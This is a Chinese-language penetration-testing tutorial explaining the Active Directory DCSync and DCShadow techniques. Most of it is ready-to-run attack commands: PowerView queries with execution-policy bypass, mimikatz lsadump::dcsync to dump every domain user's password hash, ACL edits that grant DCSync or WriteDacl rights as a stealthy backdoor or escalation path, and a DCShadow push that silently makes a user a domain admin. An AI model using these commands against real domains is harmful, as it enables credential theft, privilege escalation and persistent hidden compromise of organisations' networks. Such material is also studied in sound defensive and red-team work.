DCSync原理

DCSync 技术没有出现之前,攻击者要想拿到域内用户的 hash ,就只能在域控制器上运行 MimikatzInvoke-Mimikatz 去抓取密码 hash ,但是在 20158 月份, Mimkatz 新增了一个主要功能叫 DCSync ,使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码 hash 。这项技术为当下域渗透提供了极大地便利,可以直接远程 dump 域内 hash ,另外也衍生出很多的攻击方式。

域控制器( DC )是 Active Directory ( AD )域的支柱,用于高效的管理域内用户,所以在企业当中,为了防止 DC 出现意外导致域内瘫痪,所以都是要布置多台域控作为 AD 域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。。在不同域控制器( DC )之间,每 15 分钟都会有一次域数据的同步。当一个域控制器( DC1 )想从其他域控制器( DC2 )获取数据时,DC1 会向 DC2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求

攻击前提条件

在域内用户所具有的权限其实最根本是看用户的 DACL ,那么对于 DCSync 攻击来说,只要域用户拥有以下三条 DACL 即可向域控发出数据同步请求,从而 dump 去域内用户 hash ,这三条 DACL 分别为:

1
2
3
复制目录更改(DS-Replication-Get-Changes)  
全部复制目录更改 (DS-Replication-Get-Changes-All)
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)

默认本地管理员、域管理员或企业管理员以及域控制器计算机帐户的成员默认具有上述权限,注意,默认情况下,DCSync 攻击的对象如果是只读域控制器 ( RODC ),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

查询具有DCSync权限的用户

查询域内具有 DCSync 权限,其实就是查询域内用户的 ACL ,对比查询哪个用户拥有复制目录更改( DS-Replication-Get-Changes )和全部复制目录更改 ( DS-Replication-Get-Changes-All )两条 ACL

powershell 写法:

1
2
3
4
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}

cmd 写法:

1
2
powershell.exe -exec bypass -command "&{Import-Module .\Powerview.ps1;Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match \"DS-Replication-Get-Changes\"}}"
powershell.exe -exec bypass -command "&{Import-Module .\Powerview.ps1;Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match \"Replicating Directory Changes\"}}"

利用DCSync导出域内所有用户hash

使用 mimikatz 工具:

1
2
3
4
# 导出test.local域内所有用户的Hash
lsadump::dcsync /domain:test.local /all /csv
# 导出test.local域中administrator用户的Hash
lsadump::dcsync /domain:test.local /user:administrator /csv

利用DCSync维持域内权限或者提权

利用一(维持权限):在获取域管理员权限后,攻击者可以手动为域内的普通用户添加 DCSync 操作的权限,从而实现更为隐蔽的后门。而根据前面提到的前提条件,可以知道添加 DCSync 权限就是要赋予用户 DS-Replication-Get-ChangesDS-Replication-Get-Changes-All 权限。

利用二(提权):或者如果发现当我们拿下了域内两个普通用户,而其中一个用户对另一个用户恰好具有 writeDacl 的权限,或者一个用户对自己有 writeDacl 权限,那我们就可以通过给一个普通用户添加 writeDacl 权限,然后在那个用户的机器上来进行 DCSync 攻击,从而获取到域管理员的 hash ,提权到域管理员。

具体的操作方式如下:

添加WriteDACL权限

这一步只是为了测试具有 WriteDACL 权限的情况。一般情况下是肯定不会出现可以自己添加 WriteDACL 权限的情况的。

手动在域控上执行:

1
2
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity tom -Rights WriteDacl -Verbose

查看DACL权限

powershell 写法:

1
2
Import-module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "tom" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

cmd 写法:

1
powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Get-ObjectAcl -SamAccountName \"tom\" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like \"*dacl*\"}}"

写入DCSync

powershell 写法:

1
2
3
4
# 写入DCSync
Set-ExecutionPolicy Bypass -Scope Process
Import-module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity tom -Rights DCSync -Verbose

cmd 写法:

1
powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=local\" -PrincipalIdentity tom -Rights DCSync -Verbose}"

删除DCSync

powershell 写法:

1
2
3
4
# 删除DCSync
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1;
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity tom -Rights DCSync -Verbose

cmd 写法:

1
powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=local\" -PrincipalIdentity tom -Rights DCSync -Verbose}"

DCShadow介绍

2018年1月24日,Benjamin Delpy (神器 Mimikatz 的作者)和 Vincent Le TouxBlueHat 会议期间公布了针对域活动目录的一种新型攻击技术 DCShadow

具备域管理员权限条件下,攻击者可以 创建伪造的域控制器 ,将预先设定的对象或对象属性复制到正在运行域服务器中。

DCSync 从域服务器复制出东西,DCShadow 是将数据复制至域服务器。

Luc Delsalle 对这种技术进行了验证和详细的描述,并就红蓝对抗中蓝队对抗此种攻击技术的缺陷和补救方法。

DCShadow 目前展示的功能来看,主要只能用于红蓝对抗的隐蔽后门(因为一些操作需要域管权限,我们暂时只能有了域管权限才能使用 DCShadow )。但是 DCShadow 第一次澄清和实现了伪造一个 DC 的最小需求合集,这个贡献非常大。以前很多攻击方法都卡在不能伪造域服务器,例如 MS15-011MS15-014 等,有了 DCShadow 的基础,相信将来会有很多新的攻击方法。

DCShadow利用

利用 DCShadow 可以直接修改活动目录数据库中的对象。在域防护比较严格的情况下,可以通过 DCShadow 操纵 SID HistoryKrbtgt 账户的密码,或将用户添加到特权组,以实现域权限持久化。

这里只做修改域控属性的示范,具体怎么实战利用以后再深入研究。

第一步:利用 PsTools 开启一个 system 权限的命令行窗口,然后执行 mimikatz 的命令,注意执行完后这个命令行窗口不要关。

1
PsExec64.exe -i -s cmd.exe
1
lsadump::dcshadow /object:CN=user1,CN=Users,DC=test,DC=local /attribute:primaryGroupID /value:512

第二步:新开一个管理员权限的窗口,在 mimikatz 执行下面的命令,强制触发域复制,将数据更改推送至合法域控制器。

1
lsadump::dcshadow /push

如果顺利的话,这里就会发现 user1 这个用户的 primaryGroupID 被修改成了 512 。而这个值等于 512 就说明它被分到了域管理员组了,从而搭建了一个后门管理员账户。

但是不知道为什么我这里第二步执行失败了。

参考文章

https://tttang.com/archive/1634/